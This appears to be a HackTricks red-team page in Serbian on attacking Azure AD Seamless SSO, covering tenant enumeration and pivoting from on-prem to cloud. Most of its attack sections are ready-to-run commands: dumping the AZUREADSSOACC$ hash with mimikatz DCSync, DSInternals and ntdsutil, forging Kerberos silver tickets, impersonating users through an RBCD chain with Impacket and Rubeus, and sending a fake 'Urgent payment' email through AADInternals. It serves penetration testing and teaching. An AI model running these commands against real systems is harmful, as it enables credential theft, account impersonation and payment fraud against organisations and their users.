Az - Seamless SSO

Reading time: 9 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

Iz dokumenata: Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) automatski prijavljuje korisnike kada su na svojim korporativnim uređajima povezanih na vašu korporativnu mrežu. Kada je omogućeno, korisnici ne moraju da kucaju svoje lozinke da bi se prijavili na Azure AD, a obično ni da kucaju svoja korisnička imena. Ova funkcija omogućava vašim korisnicima lak pristup vašim aplikacijama zasnovanim na oblaku bez potrebe za dodatnim komponentama na lokaciji.

https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works

U suštini, Azure AD Seamless SSO prijavljuje korisnike kada su na PC-u pridruženom lokalnoj domeni.

Podržava ga i PHS (Password Hash Sync) i PTA (Pass-through Authentication).

Desktop SSO koristi Kerberos za autentifikaciju. Kada je konfigurisan, Azure AD Connect kreira račun računara pod nazivom AZUREADSSOACC$ u lokalnom AD. Lozinka računa AZUREADSSOACC$ se šalje u običnom tekstu Entra ID tokom konfiguracije.

Kerberos karte su šifrovane koristeći NTHash (MD4) lozinke, a Entra ID koristi poslatu lozinku za dešifrovanje karata.

Entra ID izlaže krajnju tačku (https://autologon.microsoftazuread-sso.com) koja prihvata Kerberos karte. Pregledač mašine pridružene domeni prosleđuje karte ovoj krajnjoj tački za SSO.

Enumeracija

bash
# Check if the SSO is enabled in the tenant
Import-Module AADInternals
Invoke-AADIntReconAsOutsider -Domain <domain name> | Format-Table

# Check if the AZUREADSSOACC$ account exists in the domain
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"

# Check it using raw LDAP queries without needing an external module
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)"
$searcher.FindOne()

Pivoting: On-prem -> cloud

warning

Glavna stvar koju treba znati o ovom napadu je da je samo posedovanje TGT-a ili specifičnog TGS-a korisnika koji je sinhronizovan sa Entra ID dovoljno za pristup cloud resursima.
To je zato što je to tiket koji omogućava korisniku da se prijavi u cloud.

Da bi se dobio taj TGS tiket, napadač treba da ima jedan od sledećih:

  • TGS kompromitovanog korisnika: Ako kompromitujete sesiju korisnika sa tiketom za HTTP/autologon.microsoftazuread-sso.com u memoriji, možete ga koristiti za pristup cloud resursima.
  • TGT kompromitovanog korisnika: Čak i ako nemate jedan, ali je korisnik kompromitovan, možete dobiti jedan koristeći trik lažne TGT delegacije implementiran u mnogim alatima kao što su Kekeo i Rubeus.
  • Hash ili lozinku kompromitovanog korisnika: SeamlessPass će komunicirati sa kontrolerom domena sa ovom informacijom da generiše TGT, a zatim TGS.
  • Zlatni tiket: Ako imate KRBTGT ključ, možete kreirati TGT koji vam je potreban za napadnutog korisnika.
  • Hash ili lozinku AZUREADSSOACC$ naloga: Sa ovom informacijom i SID-om korisnika koji napadate, moguće je kreirati servisni tiket i autentifikovati se sa cloud-om (kao što je izvedeno u prethodnoj metodi).

SeamlessPass

Kao što je objašnjeno u ovom blog postu, posedovanje bilo kog od prethodnih zahteva je veoma lako koristiti alat SeamlessPass za pristup cloud resursima kao kompromitovani korisnik, ili kao bilo koji korisnik ako imate hash ili lozinku AZUREADSSOACC$ naloga.

Na kraju, sa TGT-om je moguće koristiti alat SeamlessPass sa:

bash
# Using the TGT to access the cloud
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_encoded_TGT>
# Using the TGS to access the cloud
seamlesspass -tenant corp.com -tgs user_tgs.ccache
# Using the victims account hash or password to access the cloud
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF
seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password
# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID
seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234
seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
wmic useraccount get name,sid # Get the user SIDs

Dalje informacije o podešavanju Firefoxa za rad sa seamless SSO mogu se pronaći u ovom blog postu.

Dobijanje hash-eva za AZUREADSSOACC$ nalog

Lozinka korisnika AZUREADSSOACC$ nikada se ne menja. Stoga, domen administrator može kompromitovati hash ovog naloga, a zatim ga koristiti za kreiranje silver karata za povezivanje na Azure sa bilo kojim on-prem korisnikom koji je sinhronizovan:

bash
# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local

# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos

note

Sa trenutnim informacijama možete jednostavno koristiti alat SeamlessPass kao što je prethodno navedeno da dobijete azure i entraid tokene za bilo kog korisnika u domenu. Takođe možete koristiti prethodne tehnike (i druge) da dobijete hash lozinke žrtve koju želite da imitirate umesto AZUREADSSOACC$ naloga.

Kreiranje Silver Tickets

Sa hash-om sada možete generisati silver tickets:

bash
# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit

# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."

Korišćenje Silver Tickets sa Firefox-om

Da biste iskoristili silver ticket, sledeći koraci treba da se izvrše:

  1. Pokrenite Pregledač: Mozilla Firefox treba da se pokrene.
  2. Konfigurišite Pregledač:
  • Idite na about:config.
  • Postavite preferencu za network.negotiate-auth.trusted-uris na određenu vrednost:
  • https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com
  • Idite na Firefox Podešavanja > Pretražite Dozvoli Windows jedinstveno prijavljivanje za Microsoft, radne i školske naloge i omogućite to.
  1. Pristupite Web Aplikaciji:
  1. Proces Autentifikacije:
  • Na ekranu za prijavu, korisničko ime treba uneti, ostavljajući polje za lozinku prazno.
  • Da biste nastavili, pritisnite TAB ili ENTER.

warning

Ovo ne zaobilazi MFA ako je omogućeno za korisnika.

On-prem -> Cloud putem Ograničene Delegacije na Bazi Resursa

Da biste izvršili napad, potrebni su:

  • WriteDACL / GenericWrite nad AZUREADSSOACC$
  • Račun računara koji kontrolišete (hash i lozinka) - Možete kreirati jedan
  1. Korak 1 – Dodajte svoj račun računara
  • Kreira ATTACKBOX$ i štampa njegov SID/NTLM hash. Svaki korisnik domena može to učiniti dok je MachineAccountQuota > 0
bash
# Impacket
python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
-computer ATTACKBOX$ -password S3cureP@ss
  1. Korak 2 – Dodelite RBCD na AZUREADSSOACC$ - Upisuje SID vaše mašine u msDS-AllowedToActOnBehalfOfOtherIdentity.
bash
python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
ATTACKBOX$ AZUREADSSOACC$

# Or, from Windows:
$SID = (Get-ADComputer ATTACKBOX$).SID
Set-ADComputer AZUREADSSOACC$ `
-PrincipalsAllowedToDelegateToAccount $SID
  1. Korak 3 – Kreirajte TGS za bilo kog korisnika (npr. alice)
bash
# Using your machine's password or NTLM hash
python3 getST.py -dc-ip 192.168.1.10 \
-spn HTTP/autologon.microsoftazuread-sso.com \
-impersonate alice \
DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821

# Produces alice.autologon.ccache

#Or, from Windows:
Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
/impersonateuser:alice `
/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt

Možete sada koristiti TGS za pristup Azure resursima kao imitirani korisnik.

Kreiranje Kerberos karata za korisnike koji koriste samo cloud

Ako administratori Active Directory imaju pristup Azure AD Connect, mogu postaviti SID za bilo kog cloud-korisnika. Na ovaj način Kerberos karte mogu biti kreirane i za korisnike koji koriste samo cloud. Jedini zahtev je da SID bude ispravan SID.

caution

Promena SID-a korisnika koji koriste samo cloud je sada blokirana od strane Microsoft-a.
Za informacije proverite https://aadinternals.com/post/on-prem_admin/

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks